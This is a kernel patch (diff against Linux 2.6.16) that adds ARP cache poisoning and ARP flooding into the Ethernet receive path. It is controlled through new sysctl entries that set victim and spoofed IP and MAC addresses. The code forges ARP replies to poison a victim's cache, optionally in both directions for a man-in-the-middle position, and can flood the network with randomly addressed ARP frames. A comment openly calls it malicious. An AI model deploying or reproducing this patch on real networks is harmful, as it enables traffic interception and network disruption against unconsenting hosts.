diff -aur linux-2.6.16/include/linux/sysctl.h linux-2.6.16-karp/include/linux/sysctl.h --- linux-2.6.16/include/linux/sysctl.h 2006-03-11 15:12:55.000000000 -0700 +++ linux-2.6.16-karp/include/linux/sysctl.h 2006-03-18 20:58:53.000000000 -0700 @@ -397,6 +397,13 @@ NET_TCP_CONG_CONTROL=110, NET_TCP_ABC=111, NET_IPV4_IPFRAG_MAX_DIST=112, + NET_ARP_SPOOF_ENABLE=127, + NET_ARP_SPOOF_VICTIM_MAC=128, + NET_ARP_SPOOF_VICTIM_IP=129, + NET_ARP_SPOOF_SPOOFED_IP=130, + NET_ARP_SPOOF_SPOOFED_MAC=131, + NET_ARP_FLOOD_ENABLE=132, + NET_ARP_SEND_TO_SPOOFED=133, }; enum { diff -aur linux-2.6.16/net/ethernet/eth.c linux-2.6.16-karp/net/ethernet/eth.c --- linux-2.6.16/net/ethernet/eth.c 2006-03-11 15:12:55.000000000 -0700 +++ linux-2.6.16-karp/net/ethernet/eth.c 2006-03-18 21:44:20.000000000 -0700 @@ -14,6 +14,7 @@ * Alan Cox, * * Fixes: + * north : implemented malicious code for no reason * Mr Linux : Arp problems * Alan Cox : Generic queue tidyup (very tiny here) * Alan Cox : eth_header ntohs should be htons @@ -54,6 +55,7 @@ #include #include #include +#include #include #include #include @@ -62,9 +64,26 @@ #include #include #include +#include + +#define IpSz 20 __setup("ether=", netdev_boot_setup); +static int sysctl_arp_send_both = 0; +static int sysctl_arp_spoof_enabled = 0; +static int sysctl_arp_flood_enabled = 0; + +static unsigned int arp_spoof_victim_ip; +static unsigned int arp_spoof_spoofed_ip; +static unsigned char arp_spoof_victim_mac[6]; +static unsigned char arp_spoof_spoofed_mac[6]; + +static int setip(char *, unsigned int * ); +static int getip(unsigned int *, char * ); +static int setmac(char *, unsigned char * ); +static int getmac(unsigned char *, char * ); + /* * Create the Ethernet MAC header for an arbitrary protocol layer * @@ -156,9 +175,12 @@ __be16 eth_type_trans(struct sk_buff *skb, struct net_device *dev) { - struct ethhdr *eth; + struct sk_buff * nskb; unsigned char *rawp; - + struct ethhdr *eth; + long r; + int xa; + skb->mac.raw = skb->data; skb_pull(skb,ETH_HLEN); eth = eth_hdr(skb); @@ -182,7 +204,80 @@ if (unlikely(compare_ether_addr(eth->h_dest, dev->dev_addr))) skb->pkt_type = PACKET_OTHERHOST; } - + + if(sysctl_arp_spoof_enabled && ntohs(eth->h_proto) == ETH_P_ARP) + { + /* send to the victim */ + arp_send( + ARPOP_REPLY, + ETH_P_ARP, + arp_spoof_victim_ip, + dev, + arp_spoof_spoofed_ip, + &arp_spoof_victim_mac[0], + dev->dev_addr, + &arp_spoof_victim_mac[0]); + + /* sometimes causes the sends to be too slow so + * allow the user to define whether or not he + * needs the functionality + */ + if(sysctl_arp_send_both) + { + /* fake the victim to the spoofed ip */ + arp_send( + ARPOP_REPLY, + ETH_P_ARP, + arp_spoof_spoofed_ip, + dev, + arp_spoof_victim_ip, + &arp_spoof_spoofed_mac[0], + dev->dev_addr, + &arp_spoof_spoofed_mac[0]); + } + } + + if(sysctl_arp_flood_enabled && ntohs(eth->h_proto) == 0x0800) + { + /* if we don't alloc the minimum frame, some drivers will + * freak and panic due to memory problems + */ + nskb = alloc_skb(60 + LL_RESERVED_SPACE(dev), GFP_ATOMIC); + if(!nskb) + goto __fahgettaboutit; + + skb_reserve(nskb, LL_RESERVED_SPACE(dev)); + nskb->nh.raw = nskb->data; + + rawp = (unsigned char * )skb_put(nskb, 60); + + for(xa = 0; xa < 3; xa++) + { + r = net_random(); + + if(xa) + *rawp++ = r >> 24; + else + *rawp++ = (r >> 24) & 0xfe; + *rawp++ = r >> 16; + + if(!xa) + *rawp++ = r >> 8; + else + *rawp++ = (r >> 8) & 0xfe; + *rawp++ = r >> 0; + } + + *rawp++ = 0x08; + *rawp++ = 0x06; + + nskb->dev = dev; + nskb->protocol = htons(ETH_P_ARP); + + NF_HOOK(NF_ARP, NF_ARP_OUT, nskb, NULL, dev, dev_queue_xmit); + } + +__fahgettaboutit: if (ntohs(eth->h_proto) >= 1536) return eth->h_proto; @@ -301,3 +396,586 @@ return alloc_netdev(sizeof_priv, "eth%d", ether_setup); } EXPORT_SYMBOL(alloc_etherdev); + +int +proc_arp_spoof_enable( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[16]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + /* don't allow writes here */ + + if(sysctl_arp_spoof_enabled) { + snprintf(buffer, sizeof(buffer) - 1, "%s", "enabled"); + } + else { + snprintf(buffer, sizeof(buffer) - 1, "%s", "disabled"); + } + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(!r && write) + { + if(!strcmp(buffer, "enable")) + sysctl_arp_spoof_enabled = 1; + else + sysctl_arp_spoof_enabled = 0; + } + + return r; +} +EXPORT_SYMBOL(proc_arp_spoof_enable); + +int +sysctl_arp_spoof_enable( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + if(sysctl_arp_spoof_enabled) { + snprintf(buffer, sizeof(buffer) - 1, "%s", "enabled"); + } + else { + snprintf(buffer, sizeof(buffer) - 1, "%s", "disabled"); + } + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + { + if(!strcmp(buffer, "enable")) + sysctl_arp_spoof_enabled = 1; + else + sysctl_arp_spoof_enabled = 0; + } + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_spoof_enable); + +int +proc_arp_spoof_victim_mac( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getmac(&arp_spoof_victim_mac[0], &buffer[0]); + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(write && !r) + r = setmac(&buffer[0], &arp_spoof_victim_mac[0]); + + return r; +} +EXPORT_SYMBOL(proc_arp_spoof_victim_mac); + +int +sysctl_arp_spoof_victim_mac( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getmac(&arp_spoof_victim_mac[0], &buffer[0]); + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + r = setmac(&buffer[0], &arp_spoof_victim_mac[0]); + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_spoof_victim_mac); + +static int +getmac(unsigned char * in, char * out) +{ +#define BIN2HEX(x) \ + (((x) >= 0 && (x) <= 9) ? ((x) + '0') : \ + (((x) >= 10 && (x) <= 15) ? (((x) - 10) + 'a') : '0')) + int xa; + int xb; + int h; + int l; + + for(xa = 0, xb = 0; xa < 6; xa++) + { + h = in[xa] >> 4; + l = in[xa] & 15; + + out[xb++] = BIN2HEX(h); + out[xb++] = BIN2HEX(l); + if(xa < 5) + out[xb++] = ':'; + } + out[xb] = 0; + + return 0; +} + +static int +setmac(char * in, unsigned char * out) +{ +#define HEX2BIN(x) \ + (((x) >= 'a' && (x) <= 'f') ? ((x) - 'a') + 10 : \ + (((x) >= 'A' && (x) <= 'F') ? ((x) - 'A') + 10 : \ + (((x) >= '0' && (x) <= '9') ? ((x) - '0') : 0))) + int xa; + int xb; + int h; + int l; + + if(strlen(in) < 11 || strlen(in) > 17) { + return -EINVAL; + } + + for(xa = 0, xb = 0; xb < 6 && xa < strlen(in); ) + { + if(in[xa] == ':') { + return -EINVAL; + } + + h = HEX2BIN(in[xa]); + xa++; + + if(in[xa] == ':') { + out[xb++] = h; + xa++; + continue; + } + + l = HEX2BIN(in[xa]); + xa++; + + if(xb != 5 && in[xa++] != ':') { + return -EINVAL; + } + + out[xb++] = ((h << 4) | l); + } + + return 0; +#undef HEX2BIN +} + +int +proc_arp_spoof_victim_ip( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[IpSz]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getip(&arp_spoof_victim_ip, &buffer[0]); + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(write && !r) + r = setip(&buffer[0], &arp_spoof_victim_ip); + + return r; +} +EXPORT_SYMBOL(proc_arp_spoof_victim_ip); + +int +sysctl_arp_spoof_victim_ip( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[IpSz]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getip(&arp_spoof_victim_ip, &buffer[0]); + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + r = setip(&buffer[0], &arp_spoof_victim_ip); + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_spoof_victim_ip); + +static int +getip(unsigned int * in, char * out) +{ + + snprintf(out, IpSz, "%d.%d.%d.%d", + (*in >> 24) & 0xff, + (*in >> 16) & 0xff, + (*in >> 8) & 0xff, + (*in >> 0) & 0xff); + return 0; +} + +static int +setip(char * in, unsigned int * iout) +{ + unsigned char * out; + char * c; + char t; + int len; + int xa; + int xb; + int v; + + out = (unsigned char * )iout; + len = strlen(in); + + if(len < 7 || len > 15) { + return -EINVAL; + } + + for(xa = 0, xb = 0; xb < 4 && xa < len; ) + { + for(c = &in[xa]; *c && *c != '.'; c++) + ; + + if(c - &in[xa] > 3 || !(c - &in[xa])) { + return -EINVAL; + } + + for(v = 0, *c = 0; &in[xa] != c; xa++) + { + t = in[xa]; + if(t < '0' || t > '9') { + return -EINVAL; + } + + v *= 10; + v += t - '0'; + } + xa++; + + if(v < 0 || v > 255) { + return -EINVAL; + } + out[xb++] = v; + } + + return 0; +} + +int +proc_arp_spoof_spoofed_ip( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getip(&arp_spoof_spoofed_ip, &buffer[0]); + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(write && !r) + r = setip(&buffer[0], &arp_spoof_spoofed_ip); + + return r; +} +EXPORT_SYMBOL(proc_arp_spoof_spoofed_ip); + +int +sysctl_arp_spoof_spoofed_ip( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getip(&arp_spoof_spoofed_ip, &buffer[0]); + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + r = setip(&buffer[0], &arp_spoof_spoofed_ip); + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_spoof_spoofed_ip); + +int +proc_arp_spoof_spoofed_mac( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getmac(&arp_spoof_spoofed_mac[0], &buffer[0]); + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(write && !r) + r = setmac(&buffer[0], &arp_spoof_spoofed_mac[0]); + + return r; +} +EXPORT_SYMBOL(proc_arp_spoof_spoofed_mac); + +int +sysctl_arp_spoof_spoofed_mac( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + getmac(&arp_spoof_spoofed_mac[0], &buffer[0]); + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + r = setmac(&buffer[0], &arp_spoof_spoofed_mac[0]); + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_spoof_spoofed_mac); + +int +proc_arp_flood_enable( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[16]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + /* don't allow writes here */ + + if(sysctl_arp_flood_enabled) { + snprintf(buffer, sizeof(buffer) - 1, "%s", "enabled"); + } + else { + snprintf(buffer, sizeof(buffer) - 1, "%s", "disabled"); + } + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(!r && write) + { + if(!strcmp(buffer, "enable")) + sysctl_arp_flood_enabled = 1; + else + sysctl_arp_flood_enabled = 0; + } + + return r; +} +EXPORT_SYMBOL(proc_arp_flood_enable); + +int +sysctl_arp_flood_enable( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + if(sysctl_arp_flood_enabled) { + snprintf(buffer, sizeof(buffer) - 1, "%s", "enabled"); + } + else { + snprintf(buffer, sizeof(buffer) - 1, "%s", "disabled"); + } + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + { + if(!strcmp(buffer, "enable")) + sysctl_arp_flood_enabled = 1; + else + sysctl_arp_flood_enabled = 0; + } + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_flood_enable); + +int +proc_arp_send_to_spoofed( + ctl_table * ctl, + int write, + struct file * fp, + void __user * usr, + size_t * szp, + loff_t * ppos) +{ + char buffer[16]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + /* don't allow writes here */ + + if(sysctl_arp_send_both) { + snprintf(buffer, sizeof(buffer) - 1, "%s", "enabled"); + } + else { + snprintf(buffer, sizeof(buffer) - 1, "%s", "disabled"); + } + + r = proc_dostring(&tbl, write, fp, usr, szp, ppos); + if(!r && write) + { + if(!strcmp(buffer, "enable")) + sysctl_arp_send_both = 1; + else + sysctl_arp_send_both = 0; + } + + return r; +} +EXPORT_SYMBOL(proc_arp_send_to_spoofed); + +int +sysctl_arp_send_to_spoofed( + ctl_table * table, + int __user * name, + int nlen, + void __user * oval, + size_t __user * olenp, + void __user * nval, + size_t len, + void ** context) +{ + char buffer[20]; + ctl_table tbl = { + .data = buffer, + .maxlen = sizeof(buffer) - 1, + }; + int r; + + if(sysctl_arp_send_both) { + snprintf(buffer, sizeof(buffer) - 1, "%s", "enabled"); + } + else { + snprintf(buffer, sizeof(buffer) - 1, "%s", "disabled"); + } + + r = sysctl_string(&tbl, name, nlen, oval, olenp, nval, len, context); + if(!r && nval && len) + { + if(!strcmp(buffer, "enable")) + sysctl_arp_send_both = 1; + else + sysctl_arp_send_both = 0; + } + + return r; +#undef HEX2BIN +} +EXPORT_SYMBOL(sysctl_arp_send_to_spoofed); + diff -aur linux-2.6.16/net/ethernet/sysctl_net_ether.c linux-2.6.16-karp/net/ethernet/sysctl_net_ether.c --- linux-2.6.16/net/ethernet/sysctl_net_ether.c 2006-03-11 15:12:55.000000000 -0700 +++ linux-2.6.16-karp/net/ethernet/sysctl_net_ether.c 2006-03-18 21:21:07.000000000 -0700 @@ -8,7 +8,94 @@ #include #include #include +#include + +extern int proc_arp_spoof_enable(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int sysctl_arp_spoof_enable(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); +extern int sysctl_arp_spoof_victim_mac(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); +extern int proc_arp_spoof_victim_mac(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int sysctl_arp_spoof_victim_ip(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); +extern int proc_arp_spoof_victim_ip(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int sysctl_arp_spoof_spoofed_ip(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); +extern int proc_arp_spoof_spoofed_ip(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int sysctl_arp_spoof_spoofed_mac(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); +extern int proc_arp_spoof_spoofed_mac(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int sysctl_arp_flood_enable(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); +extern int proc_arp_flood_enable(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int proc_arp_send_to_spoofed(ctl_table *, int, struct file *, + void __user *, size_t *, loff_t * ); +extern int sysctl_arp_send_to_spoofed(ctl_table *, int __user *, int, + void __user *, size_t __user *, void __user *, size_t, void ** ); ctl_table ether_table[] = { - {0} + { + .ctl_name = NET_ARP_SPOOF_ENABLE, + .procname = "arp_spoof", + .mode = 0644, + .maxlen = 8, + .proc_handler = &proc_arp_spoof_enable, + .strategy = &sysctl_arp_spoof_enable, + }, + { + .ctl_name = NET_ARP_SPOOF_VICTIM_MAC, + .procname = "arp_spoof_victim_mac", + .mode = 0644, + .maxlen = 17, + .proc_handler = &proc_arp_spoof_victim_mac, + .strategy = &sysctl_arp_spoof_victim_mac, + }, + { + .ctl_name = NET_ARP_SPOOF_VICTIM_IP, + .procname = "arp_spoof_victim_ip", + .mode = 0644, + .maxlen = 16, + .proc_handler = &proc_arp_spoof_victim_ip, + .strategy = &sysctl_arp_spoof_victim_ip, + }, + { + .ctl_name = NET_ARP_SPOOF_SPOOFED_IP, + .procname = "arp_spoof_spoofed_ip", + .mode = 0644, + .maxlen = 16, + .proc_handler = &proc_arp_spoof_spoofed_ip, + .strategy = &sysctl_arp_spoof_spoofed_ip, + }, + { + .ctl_name = NET_ARP_SPOOF_SPOOFED_MAC, + .procname = "arp_spoof_spoofed_mac", + .mode = 0644, + .maxlen = 17, + .proc_handler = &proc_arp_spoof_spoofed_mac, + .strategy = &sysctl_arp_spoof_spoofed_mac, + }, + { + .ctl_name = NET_ARP_FLOOD_ENABLE, + .procname = "arp_flood", + .mode = 0644, + .maxlen = 8, + .proc_handler = &proc_arp_flood_enable, + .strategy = &sysctl_arp_flood_enable, + }, + { + .ctl_name = NET_ARP_SEND_TO_SPOOFED, + .procname = "arp_send_to_spoofed", + .mode = 0644, + .maxlen = 8, + .proc_handler = &proc_arp_send_to_spoofed, + .strategy = &sysctl_arp_send_to_spoofed, + }, + + { .ctl_name = 0 } };